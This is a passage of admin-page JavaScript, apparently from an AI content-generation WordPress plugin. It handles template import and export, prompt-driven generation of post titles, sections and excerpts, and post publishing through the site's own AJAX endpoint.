JSON.parse(content); aiomatic_call_import_templates_advanced(templates); } catch (error) { alert('Invalid JSON file'); } }; reader.readAsText(file); } }); document.getElementById('import_template_file_advanced').click(); } function aiomaticIsValidTemplate(templates) { const requiredFields = [ "title", "topics", "submit_status", "submit_type", "post_sticky", "post_author", "post_date", "post_category", "post_tags", "language", "writing_style", "writing_tone", "sections_count", "paragraph_count", "model", "assistant_id", "max_tokens", "temperature", "prompt_title", "prompt_sections", "prompt_content", "prompt_excerpt", "aiomatic_image_id" ]; for (const template in templates) { if (templates.hasOwnProperty(template)) { const templateData = templates[template]; for (const field of requiredFields) { if (!templateData.hasOwnProperty(field)) { return false; } } } } return true; } function aiomatic_call_import_templates_advanced(templates) { jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_import_templates_advanced', nonce: aiomatic_ajax_object.nonce, templates: templates }, success: function(response) { if (response.success) { alert('Templates imported successfully.'); location.reload(); } else { alert('Error: ' + response.data.message); } }, error: function(error) { alert("An error occurred while importing templates: " + JSON.stringify(error)); } }); } function aiomatic_export_template() { if (confirm("Are you sure you want to export templates to file?")) { jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_export_templates', nonce: aiomatic_ajax_object.nonce }, success: function(response) { if (response.success) { let dl = document.createElement('a'); dl.download = 'templates.json'; dl.href = `data:application/json;charset=utf-8,${JSON.stringify(response.data.content)}`; dl.click(); } else { alert('Error: ' + response.data.message); } }, error: function(error) { alert("An error occurred while loading template: " + JSON.stringify(error)); } }); } } function aiomatic_export_template_advanced() { if (confirm("Are you sure you want to export templates to file?")) { jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_export_templates_advanced', nonce: aiomatic_ajax_object.nonce }, success: function(response) { if (response.success) { let dl = document.createElement('a'); dl.download = 'templates_advanced.json'; dl.href = `data:application/json;charset=utf-8,${JSON.stringify(response.data.content)}`; dl.click(); } else { alert('Error: ' + response.data.message); } }, error: function(error) { alert("An error occurred while loading template: " + JSON.stringify(error)); } }); } } function aiomatic_load_template_advanced() { if (confirm("Are you sure you want to load this template?")) { var template_name = jQuery( "#template_manager_advanced option:selected" ).text(); if (template_name != null && template_name != "") { jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_load_template_advanced', template_name: template_name, nonce: aiomatic_ajax_object.nonce }, success: function(response) { if (response.success) { for (const [key, value] of Object.entries(response.data.content)) { var jelem = jQuery("#" + key); if(jelem !== undefined) { if(jelem.is('input:text')) { jelem.val(value); } else if(jelem.is('input') && jelem.prop('type') == 'number') { jelem.val(value); } else if(jelem.is('select')) { jelem.val(value); } else if(jelem.is('textarea')) { jelem.val(value); } else if(jelem.is('input') && jelem.prop('type') == 'checkbox') { if(value == '1') { jelem.prop( "checked", true ); } else { jelem.prop( "checked", false ); } } else if(jelem.is('input') && jelem.prop('type') == 'color') { jelem.val(value); } else if(jelem.is('input') && jelem.prop('type') == 'date') { jelem.val(value); } else if(jelem.is('input') && jelem.prop('type') == 'datetime-local') { jelem.val(value); } else if(jelem.is('input') && jelem.prop('type') == 'email') { jelem.val(value); } else if(jelem.is('input') && jelem.prop('type') == 'hidden') { jelem.val(value); } else if(jelem.is('input') && jelem.prop('type') == 'password') { jelem.val(value); } else if(jelem.is('input') && jelem.prop('type') == 'url') { jelem.val(value); } if(key === 'aiomatic_image_id_advanced') { if(value != '') { Refresh_Image_Single_Advanced(value); } } } } assistantSelected('1a'); assistantSelected('1b'); assistantSelected('2'); assistantSelected('3'); assistantSelected('4'); assistantSelected('6'); alert("Advanced template loaded successfully!"); } else { alert('Error in advanced template loading: ' + response.data.message); } }, error: function(error) { alert("An error occurred while loading advanced template: " + JSON.stringify(error)); } }); } else { alert('No advanced template selected'); } } } function aiomatic_call_func() { const model_holder = document.getElementById("model_holder"); if(model_holder !== null) { const btn = document.getElementById("aiomatic_toggle_model"); if(btn !== null) { if (btn.value === "Show") { model_holder.style.display = "block"; btn.value = "Hide"; } else { model_holder.style.display = "none"; btn.value = "Show"; } } else { console.log('aiomatic_toggle_model not found'); } } else { console.log('model_holder not found'); } } function aiomatic_prompt_func() { const prompt_holder = document.getElementById("prompt_holder"); if(model_holder !== null) { const btn = document.getElementById("aiomatic_toggle_prompt"); if(btn !== null) { if (btn.value === "Show") { prompt_holder.style.display = "block"; btn.value = "Hide"; } else { prompt_holder.style.display = "none"; btn.value = "Show"; } } else { console.log('aiomatic_toggle_prompt not found'); } } else { console.log('prompt_holder not found'); } } function aiomatic_all_empty() { var aiomatic_topics = document.getElementById("aiomatic_topics"); var generate_all = document.getElementById("generate_all"); var generate_title = document.getElementById("generate_title"); if(generate_title !== null && generate_all !== null && aiomatic_topics !== null) { if(aiomatic_topics.value === "") { generate_all.disabled = true; generate_title.disabled = true; } else { generate_all.disabled = false; generate_title.disabled = false; } } else { console.log('generate_all/aiomatic_topics/generate_title not found'); } } function aiomaticIsTinyMCEAvailable(editorId) { return typeof tinymce !== 'undefined' && tinymce.get(editorId); } function aiomatic_title_empty() { var title = document.getElementById("title"); var generate_sections = document.getElementById("generate_sections"); var generate_paragraphs = document.getElementById("generate_paragraphs"); var generate_excerpt = document.getElementById("generate_excerpt"); var post_publish = document.getElementById("post_publish"); if(title !== null && generate_sections !== null && generate_paragraphs !== null && generate_excerpt !== null && post_publish !== null) { if(title.value === "") { generate_sections.disabled = true; generate_paragraphs.disabled = true; generate_excerpt.disabled = true; post_publish.disabled = true; } else { generate_sections.disabled = false; generate_paragraphs.disabled = false; generate_excerpt.disabled = false; if(typeof(tinyMCE) != "undefined") { if(window.parent.tinymce.get('post_content') !== undefined && window.parent.tinymce.get('post_content') !== null) { if(window.parent.tinymce.get('post_content').getContent() === "" && jQuery("#post_content").val() === "") { post_publish.disabled = true; } else { post_publish.disabled = false; } } else { if( jQuery("#post_content").val() == "") { post_publish.disabled = true; } else { post_publish.disabled = false; } } } else { if( jQuery("#post_content").val() == "") { post_publish.disabled = true; } else { post_publish.disabled = false; } } } } else { console.log('title/generate_sections/generate_paragraphs/generate_excerpt/post_publish/post_content_advanced not found'); } } function aiomatic_title_empty_advanced() { var title = document.getElementById("title_advanced"); var post_publish = document.getElementById("post_publish_advanced"); if(title !== null && post_publish !== null) { if(title.value === "") { post_publish.disabled = true; } else { if(typeof(tinyMCE) != "undefined") { if(window.parent.tinymce.get('post_content_advanced') !== undefined && window.parent.tinymce.get('post_content_advanced') !== null) { if(window.parent.tinymce.get('post_content_advanced').getContent() === "" && jQuery("#post_content_advanced").val() === "") { post_publish.disabled = true; } else { post_publish.disabled = false; } } else { if( jQuery("#post_content_advanced").val() == "") { post_publish.disabled = true; } else { post_publish.disabled = false; } } } else { if( jQuery("#post_content_advanced").val() == "") { post_publish.disabled = true; } else { post_publish.disabled = false; } } } } else { console.log('title/post_publish not found'); } } function aiomatic_content_empty(idname) { if(idname == 'post_content') { var title = document.getElementById("title"); var post_publish = document.getElementById("post_publish"); } else { var title = document.getElementById("title_advanced"); var post_publish = document.getElementById("post_publish_advanced"); } if(title !== null && post_publish !== null && post_content !== null) { if(title.value === "") { post_publish.disabled = true; } else { if(typeof(tinyMCE) != "undefined") { if(window.parent.tinymce.get(idname) !== undefined && window.parent.tinymce.get(idname) !== null) { if(window.parent.tinymce.get(idname).getContent() === "" && jQuery("#" + idname).val() === "") { post_publish.disabled = true; } else { post_publish.disabled = false; } } else { if( jQuery("#" + idname).val() == "") { post_publish.disabled = true; } else { post_publish.disabled = false; } } } else { if( jQuery("#" + idname).val() == "") { post_publish.disabled = true; } else { post_publish.disabled = false; } } } } else { console.log('title/post_publish/post_content not found'); } } function aiomatic_displayTimer(element){ var start = 1; var minutes = 0; var extraSeconds = 0; var setTimer = setInterval(function () { start++; minutes = Math.floor(start / 60); extraSeconds = start % 60; minutes = minutes < 10 ? "0" + minutes : minutes; extraSeconds = extraSeconds< 10 ? "0" + extraSeconds : extraSeconds; element.val(minutes + ':' + extraSeconds); }, 1000); return setTimer; } function aiomatic_button_displayTimer(element){ var start = 1; var minutes = 0; var extraSeconds = 0; var setTimer = setInterval(function () { start++; minutes = Math.floor(start / 60); extraSeconds = start % 60; minutes = minutes < 10 ? "0" + minutes : minutes; extraSeconds = extraSeconds< 10 ? "0" + extraSeconds : extraSeconds; element.html(minutes + ':' + extraSeconds); }, 1000); return setTimer; } function assistantSelected(ruleid) { var selected = jQuery('#assistant_id' + ruleid).val(); if(selected == '' || selected == null) { jQuery('.hideAssistant' + ruleid).find('option').removeAttr('disabled'); } else { var selectElement = jQuery('.hideAssistant' + ruleid); var selectedValue = selectElement.val(); jQuery('.hideAssistant' + ruleid).find('option').attr('disabled', 'disabled'); selectElement.find('option[value="' + selectedValue + '"]').removeAttr('disabled'); } } function aiomatic_generate_ai_text(isthis, promptid, thisid, thisres, istiny, noenable, ajaxchain) { var origvar = jQuery(isthis).attr('value'); var myInterval = aiomatic_displayTimer(jQuery(isthis)); jQuery("#generate_sections").prop( "disabled", true ); jQuery("#generate_all").prop( "disabled", true ); jQuery("#generate_title").prop( "disabled", true ); jQuery("#generate_paragraphs").prop( "disabled", true ); jQuery("#generate_excerpt").prop( "disabled", true ); jQuery(".generate_custom").prop( "disabled", true ); jQuery("#post_publish").prop( "disabled", true ); var prompt_prompt = jQuery("#" + promptid).val(); var title = jQuery("#title").val(); var sections_count = jQuery( "#section_count option:selected" ).val(); var paragraph_count = jQuery( "#paragraph_count option:selected" ).val(); var model = jQuery( "#model" ).val(); var assistant_id = jQuery( "#assistant_id_single" ).val(); var max_tokens = jQuery("#max_tokens").val(); var language = jQuery("#language").val(); var topics = jQuery("#aiomatic_topics").val(); var sections = jQuery("#post_sections").val(); var writing_style = jQuery("#writing_style").val(); var writing_tone = jQuery("#writing_tone").val(); var temperature = jQuery("#temperature").val(); var metakeyinput = jQuery("#metakeyinput").val(); var content_gen_type = jQuery("#content_gen_type").val(); if(content_gen_type === 'yes') { if(promptid != 'prompt_content') { content_gen_type = 'no'; } } jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_write_text', prompt: prompt_prompt, title: title, model: model, assistant_id: assistant_id, max_tokens: max_tokens, language: language, temperature: temperature, writing_style: writing_style, writing_tone: writing_tone, sections_count: sections_count, paragraph_count: paragraph_count, metakeyinput: metakeyinput, topics: topics, sections: sections, content_gen_type: content_gen_type, nonce: aiomatic_ajax_object.nonce }, success: function(response) { if (response.success) { if(istiny === true) { if(window.parent.tinymce.get(thisres) === undefined || window.parent.tinymce.get(thisres) === null) { jQuery("#" + thisres).val(response.data.content); } else { window.parent.tinymce.get(thisres).setContent(response.data.content); } } else { jQuery("#" + thisres).val(response.data.content); } if(ajaxchain == true) { if(promptid == 'prompt_title') { aiomatic_generate_ai_text(jQuery('#generate_sections'), 'prompt_sections', 'generate_sections', 'post_sections', false, true, true); } else if(promptid == 'prompt_sections') { aiomatic_generate_ai_text(jQuery('#generate_paragraphs'), 'prompt_content', 'generate_paragraphs', 'post_content', true, true, true); } else if(promptid == 'prompt_content') { aiomatic_generate_ai_text(jQuery('#generate_excerpt'), 'prompt_excerpt', 'generate_excerpt', 'post_excerpt', false, false, false); } } } else { alert('Error: ' + response.data.message); } clearInterval(myInterval); jQuery("#" + thisid).attr('value', origvar); if(noenable !== true) { jQuery("#generate_sections").prop( "disabled", false ); jQuery("#generate_all").prop( "disabled", false ); jQuery("#generate_title").prop( "disabled", false ); jQuery("#generate_paragraphs").prop( "disabled", false ); jQuery("#generate_excerpt").prop( "disabled", false ); jQuery(".generate_custom").prop( "disabled", false ); aiomatic_title_empty(); } }, error: function(error) { clearInterval(myInterval); jQuery("#" + thisid).attr('value', origvar); jQuery("#generate_sections").prop( "disabled", false ); jQuery("#generate_all").prop( "disabled", false ); jQuery("#generate_title").prop( "disabled", false ); jQuery("#generate_paragraphs").prop( "disabled", false ); jQuery("#generate_excerpt").prop( "disabled", false ); jQuery(".generate_custom").prop( "disabled", false ); aiomatic_title_empty(); alert('An error occurred while processing, please try again later!'); console.log('Error while processing: ' + JSON.stringify(error)); } }); } function aiomaticExtractMetaFields() { const table = document.getElementById('list-table-added'); const rows = table.querySelectorAll('tr[id^="meta-"]'); let metaFields = {}; if (rows.length === 0) { return metaFields; } rows.forEach(row => { const keyInput = row.querySelector('input[type="text"]'); const valueTextarea = row.querySelector('textarea'); if (keyInput && valueTextarea) { metaFields[keyInput.value] = valueTextarea.value; } }); return metaFields; } jQuery(document).ready(function($) { singleAssistantChanged(); $(document).on("click",".dellmetanow", function(e){ if (this.getAttribute("data-id") !== null) { var remid = this.getAttribute("data-id"); $('#meta-' + remid).remove(); } }); if(window.tinyMCE !== undefined) { if(!window.tinyMCE.activeEditor) { window.tinyMCE.execCommand('mceToggleEditor', false, 'post_content'); } } (function ($) { $('#aiomatic-dialog').dialog({ title: 'Post Pulished Successfully', dialogClass: 'wp-dialog', autoOpen: false, draggable: false, width: 'auto', modal: true, resizable: false, closeOnEscape: true, position: { my: "center", at: "center", of: window }, open: function () { $(document).on("click",".ui-widget-overlay", function(){ $('#aiomatic-dialog').dialog('close'); }); $(document).on("click","#aiomatic-close-button", function(){ $('#aiomatic-dialog').dialog('close'); }); }, create: function () { $('.ui-dialog-titlebar-close').addClass('ui-button'); }, }); })(jQuery); $(document.body).on("click","#aiomatic-success-button", function (e) { if (this.getAttribute("adminurl") !== null) { if (this.getAttribute("postid") !== null && this.getAttribute("postid") !== '') { window.location.href = this.getAttribute("adminurl") + this.getAttribute("postid") + '&action=edit'; } else { console.log('Incorrect post ID provided!'); } } else { console.log('Incorrect admin URL provided!'); } }); $('#generate_title').on('click', function() { aiomatic_generate_ai_text(this, 'prompt_title', 'generate_title', 'title', false, false, false); }); $('#generate_sections').on('click', function() { aiomatic_generate_ai_text(this, 'prompt_sections', 'generate_sections', 'post_sections', false, false, false); }); $('#generate_paragraphs').on('click', function() { aiomatic_generate_ai_text(this, 'prompt_content', 'generate_paragraphs', 'post_content', true, false, false); }); $('#generate_excerpt').on('click', function() { aiomatic_generate_ai_text(this, 'prompt_excerpt', 'generate_excerpt', 'post_excerpt', false, false, false); }); $('#generate_all').on('click', function() { $(this).attr('value', 'Working...'); aiomatic_generate_ai_text($('#generate_title'), 'prompt_title', 'generate_title', 'title', false, true, true); $(this).attr('value', 'Generate All'); }); if(window.tinyMCE !== undefined) { var ed = window.tinyMCE.get(); if(ed !== null) { ed.forEach((element) => element.on('keyup', function(e) { aiomatic_content_empty(ed.id); })); } } $('#aiomatic-single-post').submit(function(event) { event.preventDefault(); var post_publish = document.getElementById("post_publish"); var generate_sections = document.getElementById("generate_sections"); var generate_paragraphs = document.getElementById("generate_paragraphs"); var generate_excerpt = document.getElementById("generate_excerpt"); var form = $(this); var title = form.find('#title').val(); if(typeof(tinyMCE) != "undefined") { if(window.parent.tinymce.get('post_content') !== undefined && window.parent.tinymce.get('post_content') !== null) { var content = window.parent.tinymce.get('post_content').getContent(); if(content == '') { var quicktagsInput = jQuery("#post_content"); if (quicktagsInput.length) { content = quicktagsInput.val(); } } window.parent.tinymce.get('post_content').setContent(""); } else { var content = $("#post_content").val(); $("#post_content").val(''); } } else { var content = $("#post_content").val(); $("#post_content").val(''); } var metaFieldsArray = aiomaticExtractMetaFields(); var excerpt = form.find('#post_excerpt').val(); var submit_status = form.find('#submit_status').val(); var submit_type = form.find('#submit_type').val(); var post_sticky = form.find('#post_sticky').val(); var post_date = form.find('#post_date').val(); var post_author = form.find('#post_author').val(); var aiomatic_image_id = form.find('#aiomatic_image_id').val(); var post_category = document.getElementById('post_category').selectedOptions; post_category = Array.from(post_category).map(({ value }) => value); post_category = JSON.stringify(post_category); var post_tags = form.find('#post_tags').val(); var nonce = form.find('#create_post_nonce').val(); $("#title").val(""); $("#post_excerpt").val(""); $("#post_sections").val(""); if(post_publish !== null && generate_sections !== null && generate_excerpt !== null && generate_paragraphs !== null) { post_publish.disabled = true; generate_sections.disabled = true; generate_excerpt.disabled = true; generate_paragraphs.disabled = true; } $.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'create_post', title: title, content: content, excerpt: excerpt, submit_status: submit_status, submit_type: submit_type, post_sticky: post_sticky, post_author: post_author, post_date: post_date, post_category: post_category, post_tags: post_tags, aiomatic_image_id: aiomatic_image_id, metaFieldsArray: metaFieldsArray, nonce: nonce }, success: function(response) { if (response.success) { document.getElementById("aiomatic-success-button").setAttribute("postid", response.data.post_id); $('#aiomatic-dialog').dialog('open'); } else { alert('Error: ' + response.data.message); } }, error: function(error) { alert('Error in post publishing: ' + error.responseText); } }); }); aiomatic_all_empty(); aiomatic_title_empty(); }); function content_gen_changed() { if(jQuery('#content_gen_type').val() === 'yes') { jQuery("#prompt_content").val(`Write the content of a post section for the heading "%%current_section%%" in %%language%%. Don't repeat the heading in the created content. Don't add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. Writing Style: %%writing_style%%. Tone: %%writing_tone%%.`); } else { jQuery("#prompt_content").val(`Write an article about "%%title%%" in %%language%%. The article is organized by the following headings: %%sections%% Write %%paragraphs_per_section%% paragraphs per heading. Use HTML for formatting, include h2 tags, h3 tags, lists and bold. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). Table data must be relevant, creative, short and simple. Add an introduction and a conclusion. Style: %%writing_style%%. Tone: %%writing_tone%%.`); } } //starting Advanced mode functions function postingModeChanged() { var selected = jQuery("#posting_mode_changer").val(); if(selected == '1a') { jQuery("#topicdiv").show(); jQuery("#inputtitlediv").hide(); jQuery("#youtubediv").hide(); jQuery("#roundupdiv").hide(); jQuery("#reviewdiv").hide(); jQuery("#csvdiv").hide(); jQuery("#listiclediv").hide(); } else if(selected == '1a-') { jQuery("#topicdiv").hide(); jQuery("#inputtitlediv").show(); jQuery("#youtubediv").hide(); jQuery("#roundupdiv").hide(); jQuery("#reviewdiv").hide(); jQuery("#csvdiv").hide(); jQuery("#listiclediv").hide(); } else if(selected == '1b') { jQuery("#topicdiv").hide(); jQuery("#inputtitlediv").show(); jQuery("#youtubediv").hide(); jQuery("#roundupdiv").hide(); jQuery("#reviewdiv").hide(); jQuery("#csvdiv").hide(); jQuery("#listiclediv").hide(); } else if(selected == '2') { jQuery("#topicdiv").hide(); jQuery("#inputtitlediv").hide(); jQuery("#youtubediv").show(); jQuery("#roundupdiv").hide(); jQuery("#reviewdiv").hide(); jQuery("#csvdiv").hide(); jQuery("#listiclediv").hide(); } else if(selected == '3') { jQuery("#topicdiv").hide(); jQuery("#inputtitlediv").hide(); jQuery("#youtubediv").hide(); jQuery("#roundupdiv").show(); jQuery("#reviewdiv").hide(); jQuery("#csvdiv").hide(); jQuery("#listiclediv").hide(); } else if(selected == '4') { jQuery("#topicdiv").hide(); jQuery("#inputtitlediv").hide(); jQuery("#youtubediv").hide(); jQuery("#roundupdiv").hide(); jQuery("#reviewdiv").show(); jQuery("#csvdiv").hide(); jQuery("#listiclediv").hide(); } else if(selected == '5') { jQuery("#topicdiv").hide(); jQuery("#inputtitlediv").hide(); jQuery("#youtubediv").hide(); jQuery("#roundupdiv").hide(); jQuery("#reviewdiv").hide(); jQuery("#csvdiv").show(); jQuery("#listiclediv").hide(); } else if(selected == '6') { jQuery("#topicdiv").hide(); jQuery("#inputtitlediv").hide(); jQuery("#youtubediv").hide(); jQuery("#roundupdiv").hide(); jQuery("#reviewdiv").hide(); jQuery("#csvdiv").hide(); jQuery("#listiclediv").show(); } } jQuery(document).ready(function($) { var codemodalfzr1a = document.getElementById('mymodalfzr1a'); var codemodalfzr1b = document.getElementById('mymodalfzr1b'); var codemodalfzr2 = document.getElementById('mymodalfzr2'); var codemodalfzr3 = document.getElementById('mymodalfzr3'); var codemodalfzr4 = document.getElementById('mymodalfzr4'); var codemodalfzr5 = document.getElementById('mymodalfzr5'); var codemodalfzr6 = document.getElementById('mymodalfzr6'); var span1a = document.getElementById("aiomatic_close1a"); var span1b = document.getElementById("aiomatic_close1b"); var span2 = document.getElementById("aiomatic_close2"); var span3 = document.getElementById("aiomatic_close3"); var span4 = document.getElementById("aiomatic_close4"); var span5 = document.getElementById("aiomatic_close5"); var span6 = document.getElementById("aiomatic_close6"); var ok1a = document.getElementById("aiomatic_ok1a"); var ok1b = document.getElementById("aiomatic_ok1b"); var ok2 = document.getElementById("aiomatic_ok2"); var ok3 = document.getElementById("aiomatic_ok3"); var ok4 = document.getElementById("aiomatic_ok4"); var ok5 = document.getElementById("aiomatic_ok5"); var ok6 = document.getElementById("aiomatic_ok6"); if(span1a != null) { span1a.onclick = function() { codemodalfzr1a.style.display = "none"; } } if(span1b != null) { span1b.onclick = function() { codemodalfzr1b.style.display = "none"; } } if(span2 != null) { span2.onclick = function() { codemodalfzr2.style.display = "none"; } } if(span3 != null) { span3.onclick = function() { codemodalfzr3.style.display = "none"; } } if(span4 != null) { span4.onclick = function() { codemodalfzr4.style.display = "none"; } } if(span5 != null) { span5.onclick = function() { codemodalfzr5.style.display = "none"; } } if(span6 != null) { span6.onclick = function() { codemodalfzr6.style.display = "none"; } } if(ok1a != null) { ok1a.onclick = function() { codemodalfzr1a.style.display = "none"; } } if(ok1b != null) { ok1b.onclick = function() { codemodalfzr1b.style.display = "none"; } } if(ok2 != null) { ok2.onclick = function() { codemodalfzr2.style.display = "none"; } } if(ok3 != null) { ok3.onclick = function() { codemodalfzr3.style.display = "none"; } } if(ok4 != null) { ok4.onclick = function() { codemodalfzr4.style.display = "none"; } } if(ok5 != null) { ok5.onclick = function() { codemodalfzr5.style.display = "none"; } } if(ok6 != null) { ok6.onclick = function() { codemodalfzr6.style.display = "none"; } } window.onclick = function(event) { if (event.target == codemodalfzr1a || event.target == codemodalfzr1b || event.target == codemodalfzr2 || event.target == codemodalfzr3 || event.target == codemodalfzr4 || event.target == codemodalfzr5 || event.target == codemodalfzr6) { codemodalfzr1a.style.display = "none"; codemodalfzr1b.style.display = "none"; codemodalfzr2.style.display = "none"; codemodalfzr3.style.display = "none"; codemodalfzr4.style.display = "none"; codemodalfzr5.style.display = "none"; codemodalfzr6.style.display = "none"; } } if (aiomaticIsTinyMCEAvailable('post_content_advanced')) { var editor = tinymce.get('post_content_advanced'); editor.on('change', function(e) { aiomatic_content_empty('post_content_advanced'); }); jQuery(document).on('input', '#post_content_advanced', function (event) { aiomatic_content_empty('post_content_advanced'); }); } if (aiomaticIsTinyMCEAvailable('post_content')) { var editor = tinymce.get('post_content'); editor.on('change', function(e) { aiomatic_content_empty('post_content'); }); jQuery(document).on('input', '#post_content', function (event) { aiomatic_content_empty('post_content'); }); } $('#aiomatic-advanced-button').on('click', function(e) { e.preventDefault(); var selected = jQuery("#posting_mode_changer").val(); if(selected == '1a' || selected == '1a-') { codemodalfzr1a.style.display = "block"; } else if(selected == '1b') { codemodalfzr1b.style.display = "block"; } else if(selected == '2') { codemodalfzr2.style.display = "block"; } else if(selected == '3') { codemodalfzr3.style.display = "block"; } else if(selected == '4') { codemodalfzr4.style.display = "block"; } else if(selected == '5') { codemodalfzr5.style.display = "block"; } else if(selected == '6') { codemodalfzr6.style.display = "block"; } }); $('#aiomatic-single-post-advanced').submit(function(event) { event.preventDefault(); var post_publish_advanced = document.getElementById("post_publish_advanced"); var title_advanced = jQuery("#title_advanced"); var title_advanced_val = title_advanced.val(); var form_advanced = jQuery(this); if(typeof(tinyMCE) != "undefined") { if(window.parent.tinymce.get('post_content_advanced') !== undefined && window.parent.tinymce.get('post_content_advanced') !== null) { var content_advanced = window.parent.tinymce.get('post_content_advanced').getContent(); if(content_advanced == '') { var quicktagsInput = jQuery("#post_content_advanced"); if (quicktagsInput.length) { content_advanced = quicktagsInput.val(); } } window.parent.tinymce.get('post_content_advanced').setContent(""); } else { var content_advanced = $("#post_content_advanced").val(); $("#post_content_advanced").val(''); } } else { var content_advanced = $("#post_content_advanced").val(); $("#post_content_advanced").val(''); } var submit_status_advanced = form_advanced.find('#submit_status_advanced').val(); var submit_type_advanced = form_advanced.find('#submit_type_advanced').val(); var post_sticky_advanced = form_advanced.find('#post_sticky_advanced').val(); var post_date_advanced = form_advanced.find('#post_date_advanced').val(); var post_author_advanced = form_advanced.find('#post_author_advanced').val(); var aiomatic_image_id_advanced = form_advanced.find('#aiomatic_image_id_advanced').val(); var post_category_advanced = document.getElementById('post_category_advanced').selectedOptions; post_category_advanced = Array.from(post_category_advanced).map(({ value }) => value); post_category_advanced = JSON.stringify(post_category_advanced); var post_tags_advanced = form_advanced.find('#post_tags_advanced').val(); var nonce_advanced = form_advanced.find('#create_post_nonce').val(); title_advanced.val(""); if(post_publish_advanced !== null) { post_publish_advanced.disabled = true; } $.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'create_post', title: title_advanced_val, content: content_advanced, excerpt: '', submit_status: submit_status_advanced, submit_type: submit_type_advanced, post_sticky: post_sticky_advanced, post_author: post_author_advanced, post_date: post_date_advanced, post_category: post_category_advanced, post_tags: post_tags_advanced, aiomatic_image_id: aiomatic_image_id_advanced, nonce: nonce_advanced }, success: function(response) { if (response.success) { document.getElementById("aiomatic-success-button").setAttribute("postid", response.data.post_id); $('#aiomatic-dialog').dialog('open'); } else { alert('Error: ' + response.data.message); } }, error: function(error) { alert('Error in post publishing: ' + error.responseText); } }); aiomatic_title_empty_advanced(); }); $('#aiomatic-generate-button').on('click', function(e) { e.preventDefault(); var title_advanced = jQuery('#title_advanced').val(); if(typeof(tinyMCE) != "undefined") { if(window.parent.tinymce.get('post_content_advanced') === undefined || window.parent.tinymce.get('post_content_advanced') === null) { var content_advanced = $("#post_content_advanced").val(); } else { var content_advanced = window.parent.tinymce.get('post_content_advanced').getContent(); if(content_advanced == '') { var quicktagsInput = jQuery("#post_content_advanced"); if (quicktagsInput.length) { content_advanced = quicktagsInput.val(); } } } } else { var content_advanced = $("#post_content_advanced").val(); } if(content_advanced != '' || title_advanced != '') { if (!confirm("You have unsaved data in post title or content. Are you sure you want to proceed?")) { return; } } var ctrl = jQuery(this); var totalvar = {}; var selected = jQuery("#posting_mode_changer").val(); if(selected != '1a' && selected != '1a-' && selected != '1b' && selected != '2' && selected != '3' && selected != '4' && selected != '5' && selected != '6') { alert('Incorrect posting_mode_changer set!'); return; } var newselected = selected.endsWith('-') ? Array.from(selected).splice(0,selected.length - 1).join('') : selected; jQuery('.valuesai' + newselected).each(function() { var innerctrl = jQuery(this); if(innerctrl.is('input:text')) { if(innerctrl.attr('name') !== undefined && innerctrl.attr('name') !== '') { totalvar[innerctrl.attr('name')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'number') { if(innerctrl.attr('name') !== undefined && innerctrl.attr('name') !== '') { totalvar[innerctrl.attr('name')] = innerctrl.val(); } } else if(innerctrl.is('select')) { if(innerctrl.attr('name') !== undefined && innerctrl.attr('name') !== '') { totalvar[innerctrl.attr('name')] = innerctrl.val(); } } else if(innerctrl.is('textarea')) { if(innerctrl.attr('name') !== undefined && innerctrl.attr('name') !== '') { totalvar[innerctrl.attr('name')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'checkbox') { if(innerctrl.attr('name') !== undefined && innerctrl.attr('name') !== '') { if(innerctrl.is(":checked")) { totalvar[innerctrl.attr('name')] = '1'; } else { totalvar[innerctrl.attr('name')] = '0'; } } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'color') { if(innerctrl.attr('name') !== undefined && innerctrl.attr('name') !== '') { totalvar[innerctrl.attr('name')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'date') { if(innerctrl.attr('name') !== undefined && innerctrl.attr('name') !== '') { totalvar[innerctrl.attr('name')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'datetime-local') { if(innerctrl.attr('name') !== undefined && innerctrl.attr('name') !== '') { totalvar[innerctrl.attr('name')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'email') { if(innerctrl.attr('name') !== undefined && innerctrl.attr('name') !== '') { totalvar[innerctrl.attr('name')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'hidden') { if(innerctrl.attr('name') !== undefined && innerctrl.attr('name') !== '') { totalvar[innerctrl.attr('name')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'password') { if(innerctrl.attr('name') !== undefined && innerctrl.attr('name') !== '') { totalvar[innerctrl.attr('name')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'url') { if(innerctrl.attr('name') !== undefined && innerctrl.attr('name') !== '') { totalvar[innerctrl.attr('name')] = innerctrl.val(); } } }); if(selected == '1a') { var aiomatic_topics = jQuery("#aiomatic_topics_list").val(); if(aiomatic_topics == '') { alert('Error, "Post Topic List" required!'); return; } totalvar['post_topic_list'] = aiomatic_topics; } else if(selected == '1a-') { var aiomatic_titles = jQuery("#aiomatic_titles").val(); if(aiomatic_titles == '') { alert('Error, "Post Title List" required!'); return; } totalvar['post_title'] = aiomatic_titles; } else if(selected == '1b') { var aiomatic_titles = jQuery("#aiomatic_titles").val(); if(aiomatic_titles == '') { alert('Error, "Post Title List" required!'); return; } totalvar['post_title'] = aiomatic_titles; } else if(selected == '2') { var aiomatic_youtube = jQuery("#aiomatic_youtube").val(); if(aiomatic_youtube == '') { alert('Error, "YouTube Video URLs" required!'); return; } totalvar['url_list'] = aiomatic_youtube; } else if(selected == '3') { var aiomatic_roundup = jQuery("#aiomatic_roundup").val(); if(aiomatic_roundup == '') { alert('Error, "Product Search Keywords / Product ASIN List" required!'); return; } 